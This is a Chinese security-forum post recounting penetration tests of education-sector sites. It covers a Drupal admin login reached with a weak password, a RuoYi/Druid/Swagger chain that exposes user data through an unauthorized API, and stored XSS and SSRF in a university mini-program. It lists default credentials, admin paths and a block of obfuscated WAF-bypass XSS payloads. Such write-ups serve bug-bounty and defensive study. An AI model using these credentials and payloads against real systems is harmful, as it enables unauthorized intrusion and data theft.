找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

2205

积分

0

好友

290

主题
发表于 15 小时前 | 查看: 1| 回复: 0

案例一:利用路径发现与弱口令突破Drupal后台

在一次针对教育系统的资产收集后,笔者发现了一个疑似使用 Drupal 内容管理系统的网站。目标页面的右上角有一个蓝色水滴状图标,这个图标在渗透测试靶场中经常出现,通常意味着可能存在相关的 Nday 漏洞。

某学院Drupal系统主页截图

为了确认,可以在浏览器的开发者工具中查找这个图标的路径。放大查看其引用地址,可以确认是 Drupal 的默认 favicon 图标。

Drupal网站图标路径识别
Drupal favicon.ico图标特写

笔者尝试在互联网上寻找并利用针对该版本的公开漏洞,但并未成功。回想起以往在靶场中的经验,Drupal 的登录界面有时会存在安全问题,于是尝试寻找其登录路径。

通过 Fuzz 或目录扫描,最终找到了隐藏的登录接口 /user/login (该路径通常不会在网站显眼处链接)。

Drupal后台登录界面

尝试使用极简单的弱口令组合 admin/123456 进行登录,竟然直接成功进入了后台。

Drupal后台管理界面-快捷方式
Drupal后台用户管理界面

获得管理员权限后,笔者再次尝试利用已知的 Drupal Nday 漏洞,但依然没有收获。回过头来分析,这个弱口令之所以没被他人发现,很可能是因为在正常情况下,网站的前端根本没有提供登录入口,导致攻击面被隐藏。本次发现确实包含了一定的运气成分,这也说明了在安全/渗透/逆向测试中,信息搜集的全面性至关重要。

案例二:若依(RuoYi)框架常见漏洞链利用

在另一轮资产收集中,指纹识别显示目标使用了若依(RuoYi)快速开发框架。访问其首页,果然发现了若依的典型登录界面。

若依管理系统登录界面

系统竟然在登录框中预填了默认用户名 admin,笔者尝试输入一个常见弱口令,成功登录后台。这种情况在针对教育系统的测试中遇到过多次,但多数属于已知重复漏洞。

若依后台用户管理界面

进入后台后,尝试了多个针对若依的已知历史漏洞,均未生效。此时,思路需要拓宽。在若依的部署环境中,经常伴随着两个“好兄弟”:Druid 监控台Swagger API 文档。于是开始对常见路径进行拼接尝试。

常见的 Druid 监控台路径如下:

/druid/login.html
/prod-api/druid/login.html
/dev-api/druid/login.html

除了手工拼接,也可以使用自动化工具进行扫描,例如针对 SpringBoot 的渗透工具 SpringBoot-Scan 就非常好用。

SpringBoot-Scan工具使用参数截图

Druid 常见的弱口令有:

  • admin/123456
  • ruoyi/123456
  • druid/druid

尝试后,使用 admin/123456 成功进入了 Druid 监控台。

Druid监控台概览页面
Druid监控台SQL监控页面

紧接着,继续拼接 Swagger 的 API 文档路径,常见的路径有:

/prod-api/v2/api-docs
/v2/api-docs
/v1/api-docs
/prod-api/v1/api-docs
/dev-api/v2/api-docs

访问成功后,返回的是 JSON 格式的原始文档,不方便阅读。

Swagger原始JSON格式API文档

此时,可以使用浏览器插件(如 Swagger UI)或在线解析器来美化展示这些 JSON 文档,使其变为可交互的 API 测试界面。

Swagger UI插件渲染后的API文档界面

直接尝试调用接口,会返回 401 未授权错误。虽然我们已拥有后台管理员账户,但直接使用其 Cookie 调用 API,不足以证明接口本身存在未授权访问漏洞。更严谨的做法是:在后台创建一个全新的、低权限的测试用户,然后用该测试用户的身份去访问 API,这样更能证明问题的严重性。

使用管理员账户创建一个仅拥有最基本权限的用户。

创建低权限用户的数据包

使用新创建的低权限用户登录系统,从浏览器开发者工具的网络请求中,复制其请求头中的 Authorization: Bearer ... 令牌值。然后回到 Swagger UI 界面,点击 “Authorize” 按钮,将复制的令牌填入进行鉴权。

Swagger UI界面授权操作截图

授权成功后,即可调用那些原本需要权限的 API。例如,调用 “获取用户列表” 接口,结果直接返回了包括管理员在内的所有用户的敏感信息,如明文密码(或加密密码)、手机号等。这构成了一个典型的越权信息泄露漏洞。

调用API成功返回包含敏感信息的用户列表

后续的其他增删改查接口同理,均可用此低权限用户进行越权操作,不再一一演示。这个案例展示了从弱口令到后台,再到组件发现、API 未授权/越权访问的完整攻击链。

案例三:小程序中的存储型XSS与SSRF测试

在针对高校小程序的测试中,个人信息编辑、头像上传等功能点常是存储型 XSS 的高发区。

某高校小程序个人信息界面

直接点击头像上传包含恶意脚本的 HTML 文件,通常会被拦截。一种绕过思路是先上传一张正常图片,然后在后续的修改请求中,将文件后缀或内容类型篡改为 HTML。但在此案例中,上传 HTML 文件后,弹窗被 WAF(Web应用防火墙)拦截了。

尝试使用混淆后的 PoC 进行绕过:

'><"><iframe src=javascript:top[`ale`+`rt`](1)>

将此 PoC 植入到上传的数据包中(例如文件名或某个文本字段)。

包含XSS Payload的数据包请求与响应

上传成功后,当管理员或用户查看该信息时,XSS  payload 成功执行。

XSS弹窗成功执行截图

除了 XSS,在测试过程中,通过分析历史请求数据包,发现了一个包含 URL 参数的功能点。这立即引发了对于 SSRF(服务器端请求伪造)漏洞的测试想法。尝试将参数中的 URL 替换为 DNSLog 平台的地址。

尝试SSRF测试的数据包与响应

虽然该处无法用于探测内网,但成功收到了 DNS 查询记录,证明了服务器确实向外部指定地址发起了请求。这类能够触发外部交互的漏洞,在如 EDUSRC 等安全众测平台中,通常可以获得一定的积分。

DNSLog平台接收到查询记录

在遇到上传存储型 XSS 但被 WAF 拦截时,可以尝试替换不同的 Payload 进行绕过。以下是一些可能有效的 XSS 测试向量,可复制到数据包中尝试,成功率相对较高:

<svg/onload=setTimeout('\x61\x6C\x65\x72\x74\x28\x31\x29')>
<input/%00/autofocus=""/%00/onfocus=.1|alert`XSS`>
<svg/onload=window.location='javas'+'cript:ale'+'rt(1)'>
javascript:window['al'+'ert']('xss')(image_url)
'><"><iframe src=javascript:top[`ale`+`rt`](1)>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>
<iframe src/="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4="></iframe>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4="></object>
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">
<dETAILS open onToGgle=a=confirm,a(1) x>()
<img src=x onerror=eval("alet(1)")>
<iframe src=javascript:prompt(1)>
'><"><img/src/onclick=_=alert;_(123)>
<textarea></textarea><script>alert("1")</script></textarea>
</textarea><a onbeforecopy="prompt(1)" contenteditable>test222</a></textarea>
<iframe src="data:text/html;base64,PGEgaHJlZj0iamF2YXNjcmlwdDphbGVydCgxKSI+Q2xpY2sgbWU8L2E+"></iframe>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<object data='data:text/html;base64,PFNDUklQVD5hbGVydCgneHNzJyk7PC9TQ1JJUFQ+' /src>
<details open ontoggle=[43804..toString(36)].some(confirm)>
<svg/onload=setTimeout('\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029')>
<form><button formaction=javascript:alert(1)>CLICKME

以上便是几个在教育系统安全测试中遇到的简单案例分享。安全测试是一个需要耐心、细致和不断积累经验的过程,希望这些实战思路能对你有所启发。更多技术讨论与资源,欢迎访问 云栈社区安全/渗透/逆向板块进行交流。




上一篇:深入理解Java equals和hashCode:为什么必须成对重写?
下一篇:Cloudflare收购Astro前端框架,AI时代的内容与基础设施整合
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-18 16:46 , Processed in 0.286669 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表